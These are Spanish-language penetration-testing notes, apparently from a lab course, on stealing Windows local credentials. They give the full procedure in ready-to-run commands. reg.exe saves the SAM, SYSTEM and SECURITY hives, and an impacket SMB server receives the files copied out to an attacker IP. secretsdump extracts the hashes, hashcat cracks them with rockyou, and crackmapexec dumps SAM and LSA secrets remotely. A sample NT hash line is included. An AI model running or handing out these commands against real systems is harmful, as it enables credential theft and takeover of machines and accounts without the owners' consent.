SAM (Security Account Manager)

Es un archivo de base de datos del sistema operativo Microsoft Windows que contiene nombres de usuario y contraseñas LOCAL. Los hives son secciones del Registro de Windows que contienen configuraciones críticas y datos del sistema.

• Hive del Registro: Descripción
• hklm\sam: Contiene los hashes de las contraseñas de las cuentas locales.
• hklm\system: Incluye la clave de arranque (bootkey) del sistema, usada para encriptar y desencriptar la SAM.
• hklm\security: Guarda credenciales en caché de cuentas de dominio.

Extracción de Hives del Registro

Con privs de admin en CMD:

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Transferencia de los hives

$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/alex/Documents/

move sam.save \\10.10.15.16\CompData
move system.save \\10.10.15.16\CompData
move security.save \\10.10.15.16\CompData

Descarga de hashes

$ python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Crackeo de hashes

Formato: uid:rid:lmhash:nthash

jason:1002:aad3b435b51404eeaad3b435b51404ee:a3ecf31e65208382e23b3420a34208fc:::

$ hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

Ataques Remotos (crackmapexec)

LSA (da contraseñas en texto claro en vez de hashes):

$ crackmapexec smb 10.129.42.198 --local-auth -u usuario -p contraseña --lsa$ crackmapexec smb 10.129.42.198 --local-auth -u usuario -p contraseña --sam